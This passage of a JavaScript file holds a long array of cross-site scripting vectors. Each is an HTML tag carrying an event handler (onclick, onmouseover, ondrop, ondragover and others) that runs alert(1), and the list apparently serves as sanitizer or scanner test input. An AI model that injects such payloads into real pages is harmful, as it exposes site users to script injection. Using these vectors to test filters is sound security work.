  String.raw`<dialog onbeforecut="alert(1)" contenteditable>test</dialog>`,
  String.raw`<dialog onbeforepaste="alert(1)" contenteditable>test</dialog>`,
  String.raw`<dialog onblur=alert(1) tabindex=1 id=x></dialog><input autofocus>`,
  String.raw`<dialog onclick="alert(1)">test</dialog>`,
  String.raw`<dialog oncontextmenu="alert(1)">test</dialog>`,
  String.raw`<dialog oncopy="alert(1)" contenteditable>test</dialog>`,
  String.raw`<dialog oncut="alert(1)" contenteditable>test</dialog>`,
  String.raw`<dialog ondblclick="alert(1)">test</dialog>`,
  String.raw`<dialog onfocusout=alert(1) tabindex=1 id=x></dialog><input autofocus>`,
  String.raw`<dialog onkeydown="alert(1)" contenteditable>test</dialog>`,
  String.raw`<dialog onkeypress="alert(1)" contenteditable>test</dialog>`,
  String.raw`<dialog onkeyup="alert(1)" contenteditable>test</dialog>`,
  String.raw`<dialog onmousedown="alert(1)">test</dialog>`,
  String.raw`<dialog onmouseenter="alert(1)">test</dialog>`,
  String.raw`<dialog onmouseleave="alert(1)">test</dialog>`,
  String.raw`<dialog onmousemove="alert(1)">test</dialog>`,
  String.raw`<dialog onmouseout="alert(1)">test</dialog>`,
  String.raw`<dialog onmouseover="alert(1)">test</dialog>`,
  String.raw`<dialog onmouseup="alert(1)">test</dialog>`,
  String.raw`<dialog onpaste="alert(1)" contenteditable>test</dialog>`,
  String.raw`<dir draggable="true" ondrag="alert(1)">test</dir>`,
  String.raw`<dir draggable="true" ondragend="alert(1)">test</dir>`,
  String.raw`<dir draggable="true" ondragenter="alert(1)">test</dir>`,
  String.raw`<dir draggable="true" ondragleave="alert(1)">test</dir>`,
  String.raw`<dir draggable="true" ondragstart="alert(1)">test</dir>`,
  String.raw`<dir id=x tabindex=1 onactivate=alert(1)></dir>`,
  String.raw`<dir id=x tabindex=1 onbeforeactivate=alert(1)></dir>`,
  String.raw`<dir id=x tabindex=1 onbeforedeactivate=alert(1)></dir><input autofocus>`,
  String.raw`<dir id=x tabindex=1 ondeactivate=alert(1)></dir><input id=y autofocus>`,
  String.raw`<dir id=x tabindex=1 onfocus=alert(1)></dir>`,
  String.raw`<dir id=x tabindex=1 onfocusin=alert(1)></dir>`,
  String.raw`<dir onbeforecopy="alert(1)" contenteditable>test</dir>`,
  String.raw`<dir onbeforecut="alert(1)" contenteditable>test</dir>`,
  String.raw`<dir onbeforepaste="alert(1)" contenteditable>test</dir>`,
  String.raw`<dir onblur=alert(1) tabindex=1 id=x></dir><input autofocus>`,
  String.raw`<dir onclick="alert(1)">test</dir>`,
  String.raw`<dir oncontextmenu="alert(1)">test</dir>`,
  String.raw`<dir oncopy="alert(1)" contenteditable>test</dir>`,
  String.raw`<dir oncut="alert(1)" contenteditable>test</dir>`,
  String.raw`<dir ondblclick="alert(1)">test</dir>`,
  String.raw`<dir onfocusout=alert(1) tabindex=1 id=x></dir><input autofocus>`,
  String.raw`<dir onkeydown="alert(1)" contenteditable>test</dir>`,
  String.raw`<dir onkeypress="alert(1)" contenteditable>test</dir>`,
  String.raw`<dir onkeyup="alert(1)" contenteditable>test</dir>`,
  String.raw`<dir onmousedown="alert(1)">test</dir>`,
  String.raw`<dir onmouseenter="alert(1)">test</dir>`,
  String.raw`<dir onmouseleave="alert(1)">test</dir>`,
  String.raw`<dir onmousemove="alert(1)">test</dir>`,
  String.raw`<dir onmouseout="alert(1)">test</dir>`,
  String.raw`<dir onmouseover="alert(1)">test</dir>`,
  String.raw`<dir onmouseup="alert(1)">test</dir>`,
  String.raw`<dir onpaste="alert(1)" contenteditable>test</dir>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><a ondragover=alert(1) contenteditable>drop here</a>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><a ondrop=alert(1) contenteditable>drop here</a>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><abbr ondragover=alert(1) contenteditable>drop here</abbr>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><abbr ondrop=alert(1) contenteditable>drop here</abbr>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><acronym ondragover=alert(1) contenteditable>drop here</acronym>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><acronym ondrop=alert(1) contenteditable>drop here</acronym>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><address ondragover=alert(1) contenteditable>drop here</address>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><address ondrop=alert(1) contenteditable>drop here</address>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><applet ondragover=alert(1) contenteditable>drop here</applet>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><applet ondrop=alert(1) contenteditable>drop here</applet>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><area ondragover=alert(1) contenteditable>drop here</area>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><area ondrop=alert(1) contenteditable>drop here</area>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><article ondragover=alert(1) contenteditable>drop here</article>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><article ondrop=alert(1) contenteditable>drop here</article>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><aside ondragover=alert(1) contenteditable>drop here</aside>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><aside ondrop=alert(1) contenteditable>drop here</aside>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><audio ondragover=alert(1) contenteditable>drop here</audio>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><audio ondrop=alert(1) contenteditable>drop here</audio>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><b ondragover=alert(1) contenteditable>drop here</b>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><b ondrop=alert(1) contenteditable>drop here</b>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><base ondragover=alert(1) contenteditable>drop here</base>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><base ondrop=alert(1) contenteditable>drop here</base>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><basefont ondragover=alert(1) contenteditable>drop here</basefont>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><basefont ondrop=alert(1) contenteditable>drop here</basefont>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><bdi ondragover=alert(1) contenteditable>drop here</bdi>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><bdi ondrop=alert(1) contenteditable>drop here</bdi>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><bdo ondragover=alert(1) contenteditable>drop here</bdo>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><bdo ondrop=alert(1) contenteditable>drop here</bdo>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><bgsound ondragover=alert(1) contenteditable>drop here</bgsound>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><bgsound ondrop=alert(1) contenteditable>drop here</bgsound>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><big ondragover=alert(1) contenteditable>drop here</big>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><big ondrop=alert(1) contenteditable>drop here</big>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><blink ondragover=alert(1) contenteditable>drop here</blink>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><blink ondrop=alert(1) contenteditable>drop here</blink>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><blockquote ondragover=alert(1) contenteditable>drop here</blockquote>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><blockquote ondrop=alert(1) contenteditable>drop here</blockquote>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><body ondragover=alert(1) contenteditable>drop here</body>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><body ondrop=alert(1) contenteditable>drop here</body>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><br ondragover=alert(1) contenteditable>drop here</br>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><br ondrop=alert(1) contenteditable>drop here</br>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><button ondragover=alert(1) contenteditable>drop here</button>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><button ondrop=alert(1) contenteditable>drop here</button>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><canvas ondragover=alert(1) contenteditable>drop here</canvas>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><canvas ondrop=alert(1) contenteditable>drop here</canvas>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><caption ondragover=alert(1) contenteditable>drop here</caption>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><caption ondrop=alert(1) contenteditable>drop here</caption>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><center ondragover=alert(1) contenteditable>drop here</center>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><center ondrop=alert(1) contenteditable>drop here</center>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><cite ondragover=alert(1) contenteditable>drop here</cite>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><cite ondrop=alert(1) contenteditable>drop here</cite>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><code ondragover=alert(1) contenteditable>drop here</code>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><code ondrop=alert(1) contenteditable>drop here</code>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><col ondragover=alert(1) contenteditable>drop here</col>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><col ondrop=alert(1) contenteditable>drop here</col>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><colgroup ondragover=alert(1) contenteditable>drop here</colgroup>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><colgroup ondrop=alert(1) contenteditable>drop here</colgroup>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><command ondragover=alert(1) contenteditable>drop here</command>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><command ondrop=alert(1) contenteditable>drop here</command>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><content ondragover=alert(1) contenteditable>drop here</content>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><content ondrop=alert(1) contenteditable>drop here</content>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><data ondragover=alert(1) contenteditable>drop here</data>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><data ondrop=alert(1) contenteditable>drop here</data>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><datalist ondragover=alert(1) contenteditable>drop here</datalist>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><datalist ondrop=alert(1) contenteditable>drop here</datalist>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><dd ondragover=alert(1) contenteditable>drop here</dd>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><dd ondrop=alert(1) contenteditable>drop here</dd>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><del ondragover=alert(1) contenteditable>drop here</del>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><del ondrop=alert(1) contenteditable>drop here</del>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><details ondragover=alert(1) contenteditable>drop here</details>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><details ondrop=alert(1) contenteditable>drop here</details>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><dfn ondragover=alert(1) contenteditable>drop here</dfn>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><dfn ondrop=alert(1) contenteditable>drop here</dfn>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><dialog ondragover=alert(1) contenteditable>drop here</dialog>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><dialog ondrop=alert(1) contenteditable>drop here</dialog>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><dir ondragover=alert(1) contenteditable>drop here</dir>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><dir ondrop=alert(1) contenteditable>drop here</dir>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><div ondragover=alert(1) contenteditable>drop here</div>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><div ondrop=alert(1) contenteditable>drop here</div>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><dl ondragover=alert(1) contenteditable>drop here</dl>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><dl ondrop=alert(1) contenteditable>drop here</dl>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><dt ondragover=alert(1) contenteditable>drop here</dt>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><dt ondrop=alert(1) contenteditable>drop here</dt>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><element ondragover=alert(1) contenteditable>drop here</element>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><element ondrop=alert(1) contenteditable>drop here</element>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><em ondragover=alert(1) contenteditable>drop here</em>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><em ondrop=alert(1) contenteditable>drop here</em>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><embed ondragover=alert(1) contenteditable>drop here</embed>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><embed ondrop=alert(1) contenteditable>drop here</embed>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><fieldset ondragover=alert(1) contenteditable>drop here</fieldset>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><fieldset ondrop=alert(1) contenteditable>drop here</fieldset>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><figcaption ondragover=alert(1) contenteditable>drop here</figcaption>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><figcaption ondrop=alert(1) contenteditable>drop here</figcaption>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><figure ondragover=alert(1) contenteditable>drop here</figure>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><figure ondrop=alert(1) contenteditable>drop here</figure>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><font ondragover=alert(1) contenteditable>drop here</font>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><font ondrop=alert(1) contenteditable>drop here</font>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><footer ondragover=alert(1) contenteditable>drop here</footer>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><footer ondrop=alert(1) contenteditable>drop here</footer>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><form ondragover=alert(1) contenteditable>drop here</form>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><form ondrop=alert(1) contenteditable>drop here</form>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><frame ondragover=alert(1) contenteditable>drop here</frame>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><frame ondrop=alert(1) contenteditable>drop here</frame>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><frameset ondragover=alert(1) contenteditable>drop here</frameset>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><frameset ondrop=alert(1) contenteditable>drop here</frameset>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><h1 ondragover=alert(1) contenteditable>drop here</h1>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><h1 ondrop=alert(1) contenteditable>drop here</h1>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><head ondragover=alert(1) contenteditable>drop here</head>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><head ondrop=alert(1) contenteditable>drop here</head>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><header ondragover=alert(1) contenteditable>drop here</header>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><header ondrop=alert(1) contenteditable>drop here</header>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><hgroup ondragover=alert(1) contenteditable>drop here</hgroup>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><hgroup ondrop=alert(1) contenteditable>drop here</hgroup>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><hr ondragover=alert(1) contenteditable>drop here</hr>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><hr ondrop=alert(1) contenteditable>drop here</hr>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><html ondragover=alert(1) contenteditable>drop here</html>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><html ondrop=alert(1) contenteditable>drop here</html>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><i ondragover=alert(1) contenteditable>drop here</i>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><i ondrop=alert(1) contenteditable>drop here</i>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><iframe ondragover=alert(1) contenteditable>drop here</iframe>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><iframe ondrop=alert(1) contenteditable>drop here</iframe>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><image ondragover=alert(1) contenteditable>drop here</image>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><image ondrop=alert(1) contenteditable>drop here</image>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><img ondragover=alert(1) contenteditable>drop here</img>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><img ondrop=alert(1) contenteditable>drop here</img>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><input ondragover=alert(1) contenteditable>drop here</input>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><input ondrop=alert(1) contenteditable>drop here</input>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><ins ondragover=alert(1) contenteditable>drop here</ins>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><ins ondrop=alert(1) contenteditable>drop here</ins>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><isindex ondragover=alert(1) contenteditable>drop here</isindex>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><isindex ondrop=alert(1) contenteditable>drop here</isindex>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><kbd ondragover=alert(1) contenteditable>drop here</kbd>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><kbd ondrop=alert(1) contenteditable>drop here</kbd>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><keygen ondragover=alert(1) contenteditable>drop here</keygen>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><keygen ondrop=alert(1) contenteditable>drop here</keygen>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><label ondragover=alert(1) contenteditable>drop here</label>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><label ondrop=alert(1) contenteditable>drop here</label>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><legend ondragover=alert(1) contenteditable>drop here</legend>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><legend ondrop=alert(1) contenteditable>drop here</legend>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><li ondragover=alert(1) contenteditable>drop here</li>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><li ondrop=alert(1) contenteditable>drop here</li>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><link ondragover=alert(1) contenteditable>drop here</link>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><link ondrop=alert(1) contenteditable>drop here</link>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><listing ondragover=alert(1) contenteditable>drop here</listing>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><listing ondrop=alert(1) contenteditable>drop here</listing>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><main ondragover=alert(1) contenteditable>drop here</main>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><main ondrop=alert(1) contenteditable>drop here</main>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><map ondragover=alert(1) contenteditable>drop here</map>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><map ondrop=alert(1) contenteditable>drop here</map>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><mark ondragover=alert(1) contenteditable>drop here</mark>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><mark ondrop=alert(1) contenteditable>drop here</mark>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><marquee ondragover=alert(1) contenteditable>drop here</marquee>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><marquee ondrop=alert(1) contenteditable>drop here</marquee>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><menu ondragover=alert(1) contenteditable>drop here</menu>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><menu ondrop=alert(1) contenteditable>drop here</menu>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><menuitem ondragover=alert(1) contenteditable>drop here</menuitem>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><menuitem ondrop=alert(1) contenteditable>drop here</menuitem>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><meta ondragover=alert(1) contenteditable>drop here</meta>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><meta ondrop=alert(1) contenteditable>drop here</meta>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><meter ondragover=alert(1) contenteditable>drop here</meter>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><meter ondrop=alert(1) contenteditable>drop here</meter>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><multicol ondragover=alert(1) contenteditable>drop here</multicol>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><multicol ondrop=alert(1) contenteditable>drop here</multicol>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><nav ondragover=alert(1) contenteditable>drop here</nav>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><nav ondrop=alert(1) contenteditable>drop here</nav>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><nextid ondragover=alert(1) contenteditable>drop here</nextid>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><nextid ondrop=alert(1) contenteditable>drop here</nextid>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><nobr ondragover=alert(1) contenteditable>drop here</nobr>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><nobr ondrop=alert(1) contenteditable>drop here</nobr>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><noembed ondragover=alert(1) contenteditable>drop here</noembed>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><noembed ondrop=alert(1) contenteditable>drop here</noembed>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><noframes ondragover=alert(1) contenteditable>drop here</noframes>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><noframes ondrop=alert(1) contenteditable>drop here</noframes>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><noscript ondragover=alert(1) contenteditable>drop here</noscript>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><noscript ondrop=alert(1) contenteditable>drop here</noscript>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><object ondragover=alert(1) contenteditable>drop here</object>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><object ondrop=alert(1) contenteditable>drop here</object>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><ol ondragover=alert(1) contenteditable>drop here</ol>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><ol ondrop=alert(1) contenteditable>drop here</ol>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><optgroup ondragover=alert(1) contenteditable>drop here</optgroup>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><optgroup ondrop=alert(1) contenteditable>drop here</optgroup>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><option ondragover=alert(1) contenteditable>drop here</option>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><option ondrop=alert(1) contenteditable>drop here</option>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><output ondragover=alert(1) contenteditable>drop here</output>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><output ondrop=alert(1) contenteditable>drop here</output>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><p ondragover=alert(1) contenteditable>drop here</p>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><p ondrop=alert(1) contenteditable>drop here</p>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><param ondragover=alert(1) contenteditable>drop here</param>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><param ondrop=alert(1) contenteditable>drop here</param>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><picture ondragover=alert(1) contenteditable>drop here</picture>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><picture ondrop=alert(1) contenteditable>drop here</picture>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><plaintext ondragover=alert(1) contenteditable>drop here</plaintext>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><plaintext ondrop=alert(1) contenteditable>drop here</plaintext>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><pre ondragover=alert(1) contenteditable>drop here</pre>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><pre ondrop=alert(1) contenteditable>drop here</pre>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><progress ondragover=alert(1) contenteditable>drop here</progress>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><progress ondrop=alert(1) contenteditable>drop here</progress>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><q ondragover=alert(1) contenteditable>drop here</q>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><q ondrop=alert(1) contenteditable>drop here</q>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><rb ondragover=alert(1) contenteditable>drop here</rb>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><rb ondrop=alert(1) contenteditable>drop here</rb>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><rp ondragover=alert(1) contenteditable>drop here</rp>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><rp ondrop=alert(1) contenteditable>drop here</rp>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><rt ondragover=alert(1) contenteditable>drop here</rt>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><rt ondrop=alert(1) contenteditable>drop here</rt>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><rtc ondragover=alert(1) contenteditable>drop here</rtc>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><rtc ondrop=alert(1) contenteditable>drop here</rtc>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><ruby ondragover=alert(1) contenteditable>drop here</ruby>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><ruby ondrop=alert(1) contenteditable>drop here</ruby>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><s ondragover=alert(1) contenteditable>drop here</s>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><s ondrop=alert(1) contenteditable>drop here</s>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><samp ondragover=alert(1) contenteditable>drop here</samp>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><samp ondrop=alert(1) contenteditable>drop here</samp>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><script ondragover=alert(1) contenteditable>drop here</script>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><script ondrop=alert(1) contenteditable>drop here</script>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><section ondragover=alert(1) contenteditable>drop here</section>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><section ondrop=alert(1) contenteditable>drop here</section>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><select ondragover=alert(1) contenteditable>drop here</select>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><select ondrop=alert(1) contenteditable>drop here</select>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><shadow ondragover=alert(1) contenteditable>drop here</shadow>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><shadow ondrop=alert(1) contenteditable>drop here</shadow>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><slot ondragover=alert(1) contenteditable>drop here</slot>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><slot ondrop=alert(1) contenteditable>drop here</slot>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><small ondragover=alert(1) contenteditable>drop here</small>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><small ondrop=alert(1) contenteditable>drop here</small>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><source ondragover=alert(1) contenteditable>drop here</source>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><source ondrop=alert(1) contenteditable>drop here</source>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><spacer ondragover=alert(1) contenteditable>drop here</spacer>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><spacer ondrop=alert(1) contenteditable>drop here</spacer>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><span ondragover=alert(1) contenteditable>drop here</span>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><span ondrop=alert(1) contenteditable>drop here</span>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><strike ondragover=alert(1) contenteditable>drop here</strike>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><strike ondrop=alert(1) contenteditable>drop here</strike>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><strong ondragover=alert(1) contenteditable>drop here</strong>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><strong ondrop=alert(1) contenteditable>drop here</strong>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><style ondragover=alert(1) contenteditable>drop here</style>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><style ondrop=alert(1) contenteditable>drop here</style>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><sub ondragover=alert(1) contenteditable>drop here</sub>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><sub ondrop=alert(1) contenteditable>drop here</sub>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><summary ondragover=alert(1) contenteditable>drop here</summary>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><summary ondrop=alert(1) contenteditable>drop here</summary>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><sup ondragover=alert(1) contenteditable>drop here</sup>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><sup ondrop=alert(1) contenteditable>drop here</sup>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><svg ondragover=alert(1) contenteditable>drop here</svg>`,
  String.raw`<div draggable="true" contenteditable>drag me</div><svg ondrop=alert(1) contenteditable>drop here</svg>`,
